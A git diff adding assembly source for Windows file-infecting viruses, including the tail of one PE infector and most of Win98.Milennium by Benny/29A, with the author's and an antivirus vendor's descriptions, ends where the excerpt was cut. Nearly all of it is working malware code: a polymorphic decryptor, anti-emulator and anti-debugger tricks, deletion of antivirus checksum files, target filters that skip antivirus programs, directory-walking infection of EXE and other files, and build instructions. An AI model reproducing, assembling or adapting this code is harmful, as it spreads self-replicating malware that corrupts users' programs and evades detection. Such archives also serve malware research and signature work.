+;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | IsFilenameOK | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function checks if the filename is OK for infection or not. If the +; filename meets any of the folling criteria, this function returns a +; failure. +; * Filename is less than 5 characters. This is checked, because +; we are infecting only .EXE files, so the minimum length of such +; a file is 5 characters +; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The +; comparison is case insensitive +; * The filename must NOT consist of any of the following pairs of +; characters, viz., "AV", "AN", "F-". This is done to prevent +; infection of Anti-Virus program files. +; +; Arguments +; -> ife_szFilename: Address of the buffer where the filename is stored +; +; Return Value: +; -> EAX: 1 if the filename is OK, 0 otherwise +; +; Registers Destroyed +; -> All +;___________________________________ +IsFilenameOK PROC ife_szFilename + LOCAL szExtention[4]:BYTE + +;Check Filename Length + mov esi, ife_szFilename + call StringLength, esi ;Get length of filename + cmp eax, 4 ;Is File name less than 5 characters (.EXE) + jl Error_IsFilenameOk ;Yes, Don't infect + push eax ;Save Length of Filename + +;Get File Extention + mov eax, [esi + eax - 4] ;File Extention (including ".") + lea edx, szExtention ;Get Address of Extention Buffer + mov [edx], eax ;Store extention in buffer + +;Convert to upper case + mov ecx, 3 ;3 characters to be converted +ToUpperCase: + inc edx ;Don't have to check "." for upper case + cmp byte ptr [edx], "a" + jl NextCharacter + cmp byte ptr [edx], "z" + jg NextCharacter + sub byte ptr [edx], "a" - "A" ;Convert to upper case +NextCharacter: + loop ToUpperCase + + pop ecx ;Get Length of Filename + +;Check the Extention + IF DEBUG + cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only) + ELSE + ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble + cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only) + ENDIF + jne Error_IsFilenameOk ;No, Extention doesn't match + +;Check Anti-Virus Program Files + dec ecx ;Since we're checking 2 char, last char not reqd +CheckAntiVirusFiles: + cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte) + je Error_IsFilenameOk + cmp word ptr [esi], "va" + je Error_IsFilenameOk + cmp word ptr [esi], "-F" ;"F-"; for F-PROT + je Error_IsFilenameOk + cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN + je Error_IsFilenameOk + cmp word ptr [esi], "na" + je Error_IsFilenameOk + inc esi ;Next Character + loop CheckAntiVirusFiles ;Check All + + xor eax, eax + inc eax + jmp End_IsFilenameOk + +Error_IsFilenameOk: + xor eax, eax + +End_IsFilenameOk: + ret +IsFilenameOK ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +OutputFileName PROC + LOCAL dwFilename:DWORD, \ + dwDeltaOffset:DWORD + + mov [dwFilename], esi + @DELTA esi + mov [dwDeltaOffset], esi + +;Create File to write into + mov edx, [dwDeltaOffset] + add edx, offset szOutputFile + mov esi, 0BFF77ADFh + call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \ + 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 + cmp eax, INVALID_HANDLE_VALUE + je End_OutputFileName + +;Go to end of file + push eax ;Save Handle + mov esi, 0BFF7713Fh ;SetFilePointer + call esi, eax, 0, 0, 2 + pop eax ;Restore Handle + +;Get Length of FileName + push eax ;Save Handle + mov edx, [dwFilename] + mov esi, 0BFF773ADh ;lstrlen + call esi, edx + mov ebx, eax ;length of filename + pop eax ;Restore Handle + +;Write Into File + push eax ;save handle + push eax ;Create Buffer, used for number of bytes written + lea ecx, [esp - 4] + mov edx, [dwFilename] + mov esi,0BFF76FD5h ;WriteFile + call esi, eax, edx, ebx, ecx, 0 + pop eax ;Remove Buffer + pop eax ;restore handle + +;Close File + mov esi, 0BFF7E064h + call esi, eax + +End_OutputFileName: + ret +OutputFileName ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | IsVirusActive | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function returns 1 if the virus is active in memory, else returns +; 0. This function also saves the address of the VxDCall API. +; +; Arguments +; -> None. +; +; Return Value: +; -> EAX: 1 if the Virus is Resident. 0 otherwise +; +; Registers Destroyed +; -> All +;_________________ +IsVirusActive PROC + call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API + test eax, eax ;Found Address ? + jz End_IsVirusActive ;No, Return 0 + +;Save address of VxDCall API + @OFFSET ebx, VxDCall + mov [ebx], eax ;Save Address + + ;Check if Virus is Already Resident + @CALL_INT21h RESIDENCY_CHECK_SERVICE + xor eax, eax ;Assume not resident + cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident + jne End_IsVirusActive ;No, return 0 + inc eax ;Yes, return 1 + +End_IsVirusActive: + ret +IsVirusActive ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | GetFileHeaders | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function retreives the address of various file headers, viz., +; Image File Header, Image Optional Header, Last Section Header, +; Image Export Directory. The function fails if the specified file is +; not a Portable Executable (PE) file +; +; Arguments +; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are +; required. +; +; Return Value: +; -> EAX: Address of the Image File Header, or 0 if the function failed +; -> EBX: Address of the Image Optional Header +; -> ECX: Address of the Last Sections Header +; -> EDX: Address of the Image Export Directory +; +; Registers Destroyed +; -> All +;_______________________________________ +GetFileHeaders PROC gfh_dwFileBase:DWORD + LOCAL dwIOH:DWORD, \ + dwIED:DWORD, \ + + mov esi, [gfh_dwFileBase] + cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ? + jne Error_GetFileHeaders ;No + +;Check for PE Signature + add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew + cmp dword ptr [esi], "EP" ;PE File ? + jne Error_GetFileHeaders ;No + +;Get Image Optional Header + add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header + push esi ;Save Image File Header + add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header + mov [dwIOH], esi ;Save + +;Get the Address of the Image Export Directory + mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory + add esi, [gfh_dwFileBase] + mov dword ptr [dwIED], esi + +;Get Address of Last Section Header + pop esi ;Get Image File header + movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader + add ecx, [dwIOH] ;Address of First Section Header + movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections + dec eax ;Number of Sections - 1 + imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers + ;mov ebx, SIZE IMAGE_SECTION_HEADER + ;mul ebx ;Size of All Section Headers + add ecx, eax ;Address of Last Section Header + +;Return Header Values + mov eax, esi ;Image File Header + mov ebx, [dwIOH] + mov edx, [dwIED] + + jmp End_GetFileHeaders + +Error_GetFileHeaders: + xor eax, eax ;Error, Return 0 + +End_GetFileHeaders: + ret +GetFileHeaders ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | MutateDecryptor | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function modifies the registers used in the decryptor, to make it +; polymorphic. The decrypor uses two registers; one as an index, and the +; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are +; used as random registers. The opcodes are generated in the following way. +; First the opcode is calculated using register EAX; e.g. the opcode for +; POP EAX is 58h. To generate the opcodes for the other registers, we add +; the number of the register. The number for EDX is 2. Adding this to 58h, +; we get 5Ah, which is the opcode for POP EDX +; +; Arguments +; -> EDI: Start of decrypor that need to be mutated +; +; Return Value: +; -> None +; +; Registers Destroyed +; -> AX, BL +;___________________ +MutateDecryptor PROC +;Get Two Random Registers + call RandomRegister ;Get First Register Number + mov ah, al ;Save It +GetAnotherRegister: + call RandomRegister ;Get Second Register Number + cmp ah, al ;Is it the same as First + je GetAnotherRegister ;Yes, get another one + +;Modify Decryptor, so that it uses the new registers + mov bl, 58h ;Change "pop " + add bl, al ;Register 1 + mov byte ptr [edi + 5], bl + mov bl, 0C0h ;Change "add , ..." + add bl, al ;Register 1 + mov byte ptr [edi + 7], bl + mov bl, 0B8h ;Change "mov , ..." + add bl, ah ;Register 2 + mov byte ptr [edi + 9], bl + mov bl, 30h ;Change "xor byte ptr [], ..." + add bl, al ;Register 1 + mov byte ptr [edi + 15], bl + mov bl, 40h ;Change "inc " + add bl, al ;Register 1 + mov byte ptr [edi + 17], bl + mov bl, 48h ;Change "dec " + add bl, ah ;Register 2 + mov byte ptr [edi + 18], bl + + ret +MutateDecryptor ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | RandomRegister | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +; Description +; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of +; these values is used to identify a register. +; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7 +; +; Arguments +; -> None. +; +; Return Value: +; -> AL: Random number (0, 1, 2, 3, 6 or 7) +; +; Registers Destroyed +; -> AL +;__________________ +RandomRegister PROC +NewRandom: + in al, 40h ;Get Random Number + and al,00000111b ;Maximum value 7 + cmp al, 4 ;Should not be 4... + je NewRandom + cmp al, 5 ;...or 5 + je NewRandom + ret +RandomRegister ENDP +;+----------------------------------------------------------------------------+ +;| +------------------------------------------------------------------------+ | +;| | | | +;| | End Of Virus Code | | +;| | | | +;| +------------------------------------------------------------------------+ | +;+----------------------------------------------------------------------------+ +VIRUS_SIZE EQU $ - offset StartOfVirusCode +ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode +LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE +VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1 +END StartOfVirusCode diff --git a/LegacyWindows/Win98.Milennium.asm b/LegacyWindows/Win98.Milennium.asm new file mode 100644 index 00000000..d81bbc01 --- /dev/null +++ b/LegacyWindows/Win98.Milennium.asm @@ -0,0 +1,1537 @@ +; άΫΫΫΫΫά άΫΫΫΫΫά άΫΫΫΫΫά +; ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ +; Win98.Milennium άάάΫΫί ίΫΫΫΫΫΫ ΫΫΫΫΫΫΫ +; by Benny/29A ΫΫΫάάάά άάάάΫΫΫ ΫΫΫ ΫΫΫ +; ΫΫΫΫΫΫΫ ΫΫΫΫΫΫί ΫΫΫ ΫΫΫ +; +; +; +;Author's description +;===================== +; +; +;I'm very proud to introduce first multifiber virus ever. Not only this is +;also multithreaded polymorphic compressed armoured Win98 PE file infector +;with structure similar to neural nets. For those ppl, that doesn't know, +;what fiber is i can say: "There r many differences between threads and +;fibers, but this one is the most important. Threads r scheduled by +;specific Operating System's algorihtm, so its in 50% up to OS, which +;thread will run and which not. Fibers r special threads, that r scheduled +;ONLY by YOUR algorithm." I will explain all details in my tutorial. +; +; +; +;What happens on execution ? +;---------------------------- +; +;Virus will: +;1) Decrypt it's body by polymorphic decryptor +;2) Decompress API strings +;3) Gets module handle of KERNEL32.DLL +;4) Gets addresses for all needed APIs +;5) Creates Main thread +; I) Converts actual thread to fiber +; II) Creates all needed fibers +; III) Finds file +; IV) Chex file +; V) Infects file +; VI) Loops III) - V) +; VII) Deletes TBAV checksum file +; VIII) Changes directory by dot-dot method +; IX) Loops III) - VII) +; +;6) Chex some flags (=> payload) and jumps to host program. +; +; +; +;Main features +;-------------- +; +;Platforms: Win98+, platforms supportin' threads, fibers and "IN" instruction. +;Residency: Nope, direct action only. +;Stealth: No due to nonresidency. +;Antidebuggin': Yes, uses threads, fibers and IsDebuggerPresent API. +;Antiheuristix: Yes, uses threads, fibers and polymorphic engine. +;AntiAntiVirus: Yes, deletes TBAV checksum file. +;Fast infection:Yes, infects all files in directory structure. +;Polymorphism: Yes. +;Other features:a) Usin' "Memory-Mapped files". +; b) No use of absolute addresses. +; c) The only way, how to detect this virus is check PE header +; for suspicious flags (new section and flags in last section) +; or find decryption routine (that's not easy, it's polymorphic). +; It can't be detected by heuristic analyzer due to use of +; threads and fibers. AV scanner can't trace all APIs +; and can't know all of 'em. In this age. I think, this is +; the best antiheuristic technique. +; d) Usin' SEH for handlin' expected and unexpected exeptions. +; e) Infects EXE, SCR, BAK, DAT and SFX (WinRAR) files. +; f) Two ways, how to infect file: 1) append to last section +; 2) create new section +; g) Similar structure to Neural Nets. +; h) Unicode support for future versions of windozes +; +; +; +;Payload +;-------- +; +;If virus is at least 50th generation of original, it displays +;in possibility 1:10 MessageBox. +; +; +; +;AVP's description +;================== +; +;This is not a dangerous parasitic Win98 direct action polymorphic virus. It +;uses several Windows APIs included only in Windows98 and WindowsNT 3.51 +;Service Pack 3 or higher, and will not work under Windows95. Due to +;infection-related bugs, it also doesn't work under WinNT and Win2000. So it +;is Win98 specific virus. The infection mechanism used is a very tricky one - +;- and a very stable under Win98, too. It makes this virus a very fast +;infector, but several infection related bugs unhide the virus presence in +;non-Win98 systems. When executed, the virus searches for PE executable files +;in the current directory and all the upper directories. During infection the +;virus uses two infection ways: increases the size of last file section for +;its code, or adds a new section called ".mdata". At each 30 infected file the +;virus depending on the system timer (in one case of 10) displays the +;following message box: +; +; +---------------------------------------------------+ +; | Win32.Milennium by Benny/29A | +; +---------------------------------------------------| +; | First multifiber virus is here, beware of me ;-) | +; | Click OK if u wanna run this shit..' | +; +---------------------------------------------------+ +; +; +;Technical details +;------------------ +; +;When an infected file is executed, the polymorphic routine will decrypt the +;constant virus body. Next, the virus unpacks the API names using the +;following scheme: each API name is split in words, each word that appears +;twice is stored in a dictionary (for example SetFileAttributes and +;GetFileAttributes APIs are encoded like this: +; +;Dictionary: Set, Get, File, Attributes +;Encoding: 1, 3, 4, 2, 3, 4. +; +;Any word that is not in the dictionary is stored "AS IS". After unpacking API +;names, it gets the addresses for all the used APIs. Then, it creates a thread +;and waits for it to finnish. +; +; +;The main thread and fibers +;--------------------------- +; +;The thread converts itself to a fiber and split the infection process in 7 +;pieces: +; +;Fiber 1 - gets the current directory and searches for the following file +;types: *.EXE, *.SCR, *.BAK, *.DAT, *.SFX. Then it gives control to fiber 3. +;After receiving back the control, it deletes the file (if any) ANTIVIR.DAT +;from the current directory and goes to the upper directory. +; +;Fiber 2 - checks if the code runs under a debugger and if yes, it makes the +;stack pointer zero. This will result in a debugger crash. +; +;Fiber 3 - gets a file from the current search started in Fiber 1 and calls +;Fiber 4 to continue. When Fiber4 is completed, it calls Fiber7 and waits to +;receive back the control. Then it checks for more files in the current +;directory. +; +;Fiber 4 - checks if the file size if less than 4Gb and then gives control to +;Fiber 5. After Fiber5 completes, it checks it the file is an exe file, if the +;target processor is Intel and if the file is not a DLL. Also, it pays +;attention to the Imagebase (only files with ImageBase = 400000h are infected +; - most applications are infectable from this point of view). Then it gives +;control to Fiber 6 and waits to receive it back. +; +;Fiber 5 - Opens the current file, creates a mapping object for this file to +;make infection process easier. Next, it calls Fiber6 and sleeps till it gets +;back the control. +; +;Fiber 6 - is closes the current file, restores the file time and date and, if +;needed, grows the current file to fit the virus code. +; +;Fiber 7 - it calls the main infection routine. +; +; +;File infection routine +;----------------------- +; +;When infecting a file, the virus scans its imports for one of the following +;APIs: GetModuleHandleA and GetModuleHandleW. This will be used by the virus +;to get the addresses of the APIs needed to spread. If the host file does not +;import one of the previous APIs, the virus will not infect it. Next, the +;virus adds its code - there's one chance in three to create a new section, +;called .mdata. Otherwise, it increases the size of the last section. Then it +;calls it's polymorphic engine to generate an encrypted image of the virus and +;the decryptor for it and writes generated code into the host file. +; +; +; +;Author's notes +;=============== +; +;Hmmm, fine. Adrian Marinescu made excelent work. Really. I think, he didn't +;miss any important thing nor any internal detail. Gewd werk Adrian! +;Nevertheless, there is one thing, I have to note. Adrian made description of +;beta of Milennium. U can see, that payload writes Win32.Milennium instead +;Win98. That time I didn't tested it on WinNTs and I expected, it will be +;Win32 compatible. Unfortunately, I forgot, that IN is privileged opcode under +;WinNT (that's that bug, Adrian talked about). And after some other +;corrections (beta deleted ANTIVIR.DAT files instead ANTI-VIR.DAT), I started +;to call this virus Win98+ compatible. However, Adrians informators (or +;himself) probably never saw sharp version of Milennium. Hmm, maybe l8r. But +;this doesn't change anything on thing, that Adrian deeply analysed this virus +;and that he made really excelent work. I think its all. +; +; +; +;Greetz +;======= +; +; All 29Aers..... Thank ya for all! I promise, I'll do everything +; I can ever do for 29A. +; LethalMnd...... U have a potential, keep workin' on yourself! +; Yesnah......... Find another dolly, babe :-)). +; Adrian/GeCAD... Fuck off AV, join 29A! X-D +; +; +; +;How to build +;============= +; +; tasm32 -ml -q -m4 mil.asm +; tlink32 -Tpe -c -x -aa -r mil.obj,,, import32 +; pewrsec.com mil.exe +; +; +; +;For who is this dedicated ? +;============================ +; +;This virus is dedicated for somebody. Hehe, surprisely. It's dedicated to all +;good VXerz (N0T lamerz !!!) with greet, next Milennium will be our. +;Don't give up !!! +; +; +; +;(c) 1999 Benny/29A. + + + +.386p ;386+ intructions +.model flat ;flat model + +include MZ.inc ;include some needed files +include PE.inc +include Win32API.inc +include Useful.inc + + +extrn ExitProcess:PROC ;some APIs needed by first generation +extrn GetModuleHandleA:PROC +extrn GetModuleHandleW:PROC + + +.data + db ? ;for TLINK32 compatibility +ends + +;VIRUS CODE STARTS HERE... +.code +Start: + pushad ;push all regs + @SEH_SetupFrame ;setup SEH frame + inc byte ptr [edx] ;===> GP fault + jmp Start ;some stuff for dumb emulators +seh_fn: @SEH_RemoveFrame ;remove SEH frame + popad ;and pop all regs + ;stuff above will fuck AV-emulators + + push eax ;leave some space for "ret" to host + pushad ;push all regs + ;POLY DECRYPTOR STARTS HERE... + @j1: db 3 dup (90h) + call @j2 + @j2: db 3 dup (90h) +@1: pop ebp + @j3: db 3 dup (90h) +@2: sub ebp, offset @j2 + @j4: db 3 dup (90h) + ; mov ecx, (virus_end-encrypted+3)/4 +@4: db 10111001b + dd (virus_end-encrypted+3)/4 + @j5: db 3 dup (90h) + ; lea esi, [ebp + encrypted] + db 10001101b +@3: db 10110101b +; regmod + dd offset encrypted + @j6: db 3 dup (90h) +decrypt: + ; xor dword ptr [esi], 0 + db 10000001b +@7: db 00110110b +key: dd 0 + @j7: db 3 dup (90h) +_next_: ; add esi, 4 + db 10000011b +@8: db 11000110b + db 4 + @j8: db 3 dup (90h) + ; dec ecx +@5: db 01001001b + @j9: db 3 dup (90h) + ; test ecx, ecx + db 10000101b +@6: db 11001001b + jne decrypt + +encrypted: + +nFile = 1 ;some constants for decompress stage +nGet = 2 +nSet = 3 +nModule = 4 +nHandle = 5 +nCreate = 6 +nFind = 7 +nClose = 8 +nViewOf = 9 +nCurrentDirectoryA= 10 +nFiber = 11 +nThread = 12 +nDelete = 13 +nLibrary = 14 +numof_csz = 15 ;number of 'em + call skip_strings + +cstringz: +;module names +cszKernel32 db 'KERNEL32', 0 +cszKernel32W dw 'K','E','R','N','E','L','3','2', 0 +cszUser32 db 'USER32', 0 + +;compressed API names +cszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0 +cszGetModuleHandleW db nGet, nModule, nHandle, 'W', 0 + +cszCreateThread db nCreate, nThread, 0 +cszWaitForSingleObject db 'WaitForSingleObject', 0 +cszCloseHandle db nClose, nHandle, 0 +cszConvertThreadToFiber db 'Convert', nThread, 'To', nFiber, 0 +cszCreateFiber db nCreate, nFiber, 0 +cszSwitchToFiber db 'SwitchTo', nFiber, 0 +cszDeleteFiber db nDelete, nFiber, 0 +cszGetVersion db nGet, 'Version', 0 +cszFindFirstFileA db nFind, 'First', nFile, 'A', 0 +cszFindNextFileA db nFind, 'Next', nFile, 'A', 0 +cszFindClose db nFind, nClose, 0 +cszCreateFileA db nCreate, nFile, 'A', 0 +cszCreateFileMappingA db nCreate, nFile, 'MappingA', 0 +cszMapViewOfFile db 'Map', nViewOf, nFile, 0 +cszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0 +cszSetFileAttributesA db nSet, nFile, 'AttributesA', 0 +cszSetFilePointer db nSet, nFile, 'Pointer', 0 +cszSetEndOfFile db nSet, 'EndOf', nFile, 0 +cszSetFileTime db nSet, nFile, 'Time', 0 +cszGetCurrentDirectoryA db nGet, nCurrentDirectoryA, 0 +cszSetCurrentDirectoryA db nSet, nCurrentDirectoryA, 0 +cszDeleteFile db nDelete, nFile, 'A', 0 +cszLoadLibraryA db 'Load', nLibrary, 'A', 0 +cszFreeLibraryA db 'Free', nLibrary, 0 +cszIsDebuggerPresent db 'IsDebuggerPresent', 0 + db 0ffh +szMessageBoxA db 'MessageBoxA', 0 + +;strings for payload +szTitle db 'Win98.Milennium by Benny/29A', 0 + +szText db 'First multifiber virus is here, beware of me ! ;-)', 0dh + db 'Click OK if u wanna run this shit...', 0 +skip_strings: + pop esi ;get relative delta offset + mov ebp, esi + sub ebp, offset cstringz + lea edi, [ebp + strings] + +next_ch:lodsb ;decompressing stage + test al, al + je copy_b + cmp al, 0ffh + je end_unpacking + cmp al, numof_csz + jb packed +copy_b: stosb + jmp next_ch +packed: push esi + lea esi, [ebp + string_subs] + mov cl, 1 + mov dl, al + lodsb +packed2:test al, al + je _inc_ +packed3:cmp cl, dl + jne un_pck +p_cpy: stosb + lodsb + test al, al + jne p_cpy + pop esi + jmp next_ch +un_pck: lodsb + test al, al + jne packed3 +_inc_: inc ecx + jmp un_pck + +end_unpacking: + stosb ;store 0ffh byte + mov ecx, offset _GetModuleHandleA - 400000h ;some params +GMHA = dword ptr $ - 4 + mov ebx, offset _GetModuleHandleW - 400000h +GMHW = dword ptr $ - 4 + lea edx, [ebp + szKernel32] + lea esi, [ebp + szKernel32W] + call MyGetModuleHandle ;pseudo-neuron + jecxz error + + xchg ebx, ecx + lea esi, [ebp + szAPIs] ;params for next + lea edi, [ebp + ddAPIs] + call MyGetProcAddress ;pseudo-neuron + jecxz error + + xor eax, eax + lea edx, [ebp + dwThreadID] + push edx + push eax + push ebp + lea edx, [ebp + MainThread] + push edx + push eax + push eax + call [ebp + ddCreateThread] ;create main thread + + mov ebx, eax ;wait for + xor eax, eax ;thread + dec eax ;signalization + push eax + push ebx + call [ebp + ddWaitForSingleObject] ;... + + push ebx ;and close handle + call [ebp + ddCloseHandle] ;of main thread + + call payload ;try payload +error: mov eax, [ebp + Entrypoint] + add eax, 400000h + mov [esp.cPushad], eax + popad + ret ;and jump to host + +;------------------------------------------------------------------------------- + +payload: + cmp byte ptr [ebp + GenerationCount], 30 ;30th generation ? + jne end_payload ;nope + + in al, 40h + and al, 9d + jne end_payload ;chance 1:10 + + lea edx, [ebp + szUser32] ;yup, load library + push edx ;(USER32.DLL) + call [ebp + ddLoadLibraryA] + xchg eax, ecx + jecxz end_payload + xchg ecx, ebx + + lea esi, [ebp + szMessageBoxA] ;get address of + call GetProcAddress ;MessageBoxA API + xchg eax, ecx ;error ? + jecxz end_payload ;... + + push 1000h ;pass params + lea edx, [ebp + szTitle] + push edx + lea edx, [ebp + szText] + push edx + push 0 + call ecx ;call API + push ebx + call [ebp + ddFreeLibraryA] ;and unload library + +end_payload: + ret + +;------------------------------------------------------------------------------- + +MyGetModuleHandle Proc ;our GetModuleHandle function + jecxz try_GMHW ;try Unicode version + mov edi, 400000h + push edx +_GMH_: add ecx, edi + call [ecx] + xchg eax, ecx +er_GMH: ret +try_GMHW: ;Unicode version + mov ecx, ebx + jecxz er_GMH + push esi + jmp _GMH_ +MyGetModuleHandle EndP + +;------------------------------------------------------------------------------- + +MyGetProcAddress Proc ;our GetProcAddress function + call GetProcAddress + test eax, eax ;error ? + je er_GPA + stosd ;store address + @endsz ;get next API name + cmp byte ptr [esi], 0ffh ;end of API names ? + jne MyGetProcAddress ;no, next API + ret ;yeah, quit +er_GPA: xor ecx, ecx + ret +GetProcAddress: + pushad + @SEH_SetupFrame + mov eax, ebx + add eax, [eax.MZ_lfanew] + mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] + jecxz Proc_Address_not_found + mov ebp, ebx + add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] + push ecx + mov edx, ebx + add edx, [ebp.ED_AddressOfNames] + mov ecx, [ebp.ED_NumberOfNames] + xor eax, eax +Search_for_API_name: + mov edi, [esp + 16] + mov esi, ebx + add esi, [edx + eax * 4] +Next_Char_in_API_name: + cmpsb + jz Matched_char_in_API_name + inc eax + loop Search_for_API_name + pop eax +Proc_Address_not_found: + xor eax, eax + jmp end_GetProcAddress +Matched_char_in_API_name: + cmp byte ptr [esi-1], 0 + jne Next_Char_in_API_name + pop ecx + mov edx, ebx + add edx, [ebp.ED_AddressOfOrdinals] + movzx eax, word ptr [edx + eax * 2] +Check_Index: + cmp eax, [ebp.ED_NumberOfFunctions] + jae Proc_Address_not_found + mov edx, ebx + add edx, [ebp.ED_AddressOfFunctions] + add ebx, [edx + eax * 4] + mov eax, ebx + sub ebx, ebp + cmp ebx, ecx + jb Proc_Address_not_found +end_GetProcAddress: + @SEH_RemoveFrame + mov [esp.Pushad_eax], eax + popad + ret +MyGetProcAddress EndP + +;------------------------------------------------------------------------------- + +GetProcAddressIT proc ;inputs: EAX - API name + ; ECX - lptr to MZ header + ; EDX - module name + ;outputs: EAX - RVA pointer to IAT, 0 if error + pushad + xor eax, eax + push ebp + mov esi, [ecx.MZ_lfanew] + add esi, ecx + mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] + mov ebp, ecx + push ecx + movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections] + movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] + lea ebx, [esi.NT_OptionalHeader + ebx] +scan_sections: + mov edx, [ebx.SH_VirtualAddress] + cmp edx, eax + je section_found + sub ebx, -IMAGE_SIZEOF_SECTION_HEADER + loop scan_sections + pop ecx + pop eax + jmp End_GetProcAddressIT2 +section_found: + mov ebx, [ebx + 20] + add ebx, ebp + pop ecx + pop eax + test ebx, ebx + je End_GetProcAddressIT2 + xor esi, esi + xor ebp, ebp + push esi + dec ebp +Get_DLL_Name: + pop esi + inc ebp + mov edi, [esp + 20] + mov ecx, [ebx.esi.ID_Name] + test ecx, ecx + je End_GetProcAddressIT2 + sub ecx, edx + sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR + push esi + lea esi, [ebx + ecx] +Next_Char_from_DLL: + lodsb + add al, -'.' + jz IT_nup + sub al, -'.' + 'a' + cmp al, 'z' - 'a' + 1 + jae no_up + add al, -20h +no_up: sub al, -'a' +IT_nup: scasb + jne Get_DLL_Name + cmp byte ptr [edi-1], 0 + jne Next_Char_from_DLL +Found_DLL_Name: + pop esi + imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR + mov ecx, [ebx + eax.ID_OriginalFirstThunk] + jecxz End_GetProcAddressIT2 + sub ecx, edx + add ecx, ebx + xor esi, esi +Next_Imported_Name: + push esi + mov edi, [esp + 32] + mov esi, [ecx + esi] + test esi, esi + je End_GetProcAddressIT3 + sub esi, edx + add esi, ebx + lodsw +next_char: + cmpsb + jne next_step + cmp byte ptr [esi-1], 0 + je got_it + jmp next_char +next_step: + pop esi + sub esi, -4 + jmp Next_Imported_Name +got_it: pop esi + imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR + add ebx, ebp + mov eax, [ebx.ID_FirstThunk] + add eax, esi + mov [esp + 28], eax + jmp End_GetProcAddressIT +End_GetProcAddressIT3: + pop eax +End_GetProcAddressIT2: +n6: xor eax, eax + mov [esp.Pushad_eax], eax +End_GetProcAddressIT: + popad + ret +GetProcAddressIT EndP + +;------------------------------------------------------------------------------- +; NOTE: Dendrit = Input, Axon = output, Synapse = jump link +;------------------------------------------------------------------------------- + +MainThread Proc PASCAL delta_param:DWORD ;delta offset as dendrit + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + push 0 + call [ebx + ddConvertThreadToFiber] ;convert thread to fiber + xchg eax, ecx + jecxz exit_main ;error ? + mov [ebx + pfMain], ecx ;store context + + lea esi, [ebx + Neuron_Addresses] ;create all needed fibers + lea edi, [ebx + Fiber_Addresses+4] + mov ecx, num_of_neurons +init_neurons: + lodsd + push ecx + push ebx + add eax, ebx + push eax + push 0 + call [ebx + ddCreateFiber] ;create fiber + pop ecx + test eax, eax + je exit_main + stosd + loop init_neurons + + push [ebx + pfNeuron_Main] + call [ebx + ddSwitchToFiber] ;switch to main neuron + +exit_main: + popad + ret +MainThread EndP + +;------------------------------------------------------------------------------- + +Neuron_Main Proc PASCAL delta_param:DWORD ;delta offset as dendrit + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + push [ebx + pfNeuron_Debugger] + call [ebx + ddSwitchToFiber] ;dwitch to neuron + + lea edx, [ebx + CurDir] + push edx + push MAX_PATH + call [ebx + ddGetCurrentDirectoryA] ;store current directory + + mov ecx, 20 +path_walk: + push ecx + lea esi, [ebx + szExe] ;extension + mov ecx, num_of_exts +process_dir: + push ecx + mov [ebx + nfindfile_name], esi ;dendrit + mov [ebx + nFF_synapse], offset pfNeuron_Main ;build synapse + push [ebx + pfNeuron_FindFile] + call [ebx + ddSwitchToFiber] ;infect directory + @endsz + pop ecx + loop process_dir ;next extension + + lea 